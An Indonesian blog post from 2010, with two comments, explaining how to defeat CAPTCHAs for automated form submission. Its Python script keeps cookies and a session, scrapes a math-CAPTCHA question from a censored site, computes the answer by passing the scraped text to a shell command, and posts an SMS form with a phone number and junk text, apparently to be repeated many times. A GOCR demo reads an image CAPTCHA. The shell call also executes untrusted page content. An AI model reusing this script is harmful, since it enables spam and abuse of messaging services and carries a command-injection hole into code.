break a time, with break the c0de…

how to bypassing catpcha


Beberapa tahun lalu, saya telah mendengar bahwa catpcha yang ada pada website seperti gmail, yahoo, dan hotmail berhasil di tembusi oleh para spammer dan hacker elite…
sehingga membuat username2 junk sampai berpuluh2 ribu account .
membuat saya sempat penasaran sekali, namun saya coba mengimplementasikannya minggu lalu dan baru hari ini saya posting…
namun sekarang ini perusahaan besar tersebut sudah menutup hole tersebut .
dan saya juga telah membuat program menggunakan mechanize pada python dan seakan2 seorang manusia sedang surfing ke dengan browser .
karena pada suatu website itu (mohon maaf tidak disebutkan alamat web tersebut) memerlukan cookie dan session, sekaligus keharusan mengalahkan catpcha untuk mensubmit form tersebut . dengan di tambah beberapa module .
dan itu alasan saya menggunakan mechanize di banding urllib, urllib2, atau httplib .
yang membedakan hanyalah ini hanyalah program yang mengulangi sampai akhir yang ditentukan .
tentu jika manusia sudah kelelahan mensubmit 1000 kali saja tentunya ;) .

dan saya pun membuat logikanya seperti berikut .



Program -> Visit web -> Saving cookies -> Saving session -> Downloading catcpha 
								    |
								    |
								    |
								    |
						     Breaking catpcha on local system
							    	    |
							    	    |
							    	    |
							    	    |
							    if catpcha success -> continueing submitting data (with cookie and session of before) -> data submited !
				  Report to main program <- if not succedded		
#!/usr/bin/python
import os.path, urllib2, urllib, StringIO, commands, re, os
from urllib2 import urlopen, Request
COOKIEFILE = 'cookies.lwp'   # "cookiejar" file for cookie saving/reloading
# first try getting the best possible solution, cookielib:
try:
    import cookielib
except ImportError:                 # no cookielib, try ClientCookie instead
    cookielib = None
    try:
        import ClientCookie
    except ImportError:             # nope, no cookies today
        cj = None                   # so, in particular, no cookie jar
    else:                           # using ClientCookie, prepare everything
        urlopen = ClientCookie.urlopen
        cj = ClientCookie.LWPCookieJar( )
        Request = ClientCookie.Request
else:                               # we do have cookielib, prepare the jar
    cj = cookielib.LWPCookieJar( )
# Now load the cookies, if any, and build+install an opener using them
if cj is not None:
    if os.path.isfile(COOKIEFILE):
        cj.load(COOKIEFILE)
    if cookielib:
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        urllib2.install_opener(opener)
    else:
        opener = ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
        ClientCookie.install_opener(opener)
# for example, try a URL that sets a cookie
theurl = 'http://[CENCORED]'
theurl2 = 'http://[CENCORED]'
txdata = None  # or, for POST instead of GET, txdata=urrlib.urlencode(somedict)
txheaders =  {'User-agent': 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'}
try:
    req = Request(theurl, txdata, txheaders)  # create a request object
    handle = urlopen(req).read()                    # and open it
    angka = re.findall("jawab ini : (.*) =", handle)
    print angka[0]
    count = "printf $((%s))" % (angka[0])
    smart = StringIO.StringIO(commands.getstatusoutput(count)[1]).read()
    mathguard = re.findall("name='mathguard_code' value='(.*)' />", handle)
    params = urllib.urlencode({'Phonenumbers':'02197448206', 
				'Text':'oppppssss',
				'mathguard_answer':smart,
				'mathguard_code':mathguard,
				'TOMBOL':'KIRIM'})
    req = Request(theurl2, params, txheaders)  # create a request object
    handle = urlopen(req)                    # and open it
    print handle
except IOError, e:
    print 'Failed to open "%s".' % theurl
    if hasattr(e, 'code'):
        print 'Error code: %s.' % e.code
else:
    print 'Here are the headers of the page:'
    print handle.info( )
# you can also use handle.read( ) to get the page, handle.geturl( ) to get the
# the true URL (could be different from `theurl' if there have been redirects)
if cj is None:
    print "Sorry, no cookie jar, can't show you any cookies today"
else:
    print 'Here are the cookies received so far:'
    for index, cookie in enumerate(cj):
        print index, ': ', cookie
    cj.save(COOKIEFILE)                     # save the cookies again

yah seperti manusia cookie dan session tetap ada pada program tersebut sehingga memungkinkan data pada form tersubmit .

Lalu bagaimana cara bypass catpcha tersebut ?
kita bisa menggunakan Optical Carachter Reader (OCR) untuk membaca text yang ada dalam gambar .
Semakin bagus algorithma OCR tersebut mengenal bagaimana catpcha tersebut bekerja maka semakin bagus OCR tersebut mengenali text yang ada pada dalam catpcha dengan baik .

Ok, dari suatu website . saya mendapatkan gambar captcha seperti berikut .
how to beat a captcha

Beruntungnya sudah ada OCR opensource yang telah di develope sebelumnya dan saya menggunakan GOCR
GOCR adalah opensource OCR program yang bisa anda dapatkan di sini http://jocr.sourceforge.net/

Ok berikut demo stand alone captcha di local system dan menggunakan GOCR untuk mengalahkan catpcha tersebut .

gunslinger@localhost:~/python$ gocr security.png
207
gunslinger@localhost:~/python$

captcha berhasil di tembus . namun catpcha berikut adalah catpcha simple . dan hanya sample sederhana experimen saya

Secret : http://caca.zoy.org/wiki/PWNtcha Njoy

Advertisements

2 responses

  1. wisdom

    gimana bro sempet ndak bikin spread twitter

    July 23, 2010 at 11:37 pm

    • iya bro ane lagi experimen2 dulu biar hasilnya lebih bagus

      July 24, 2010 at 12:27 am

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s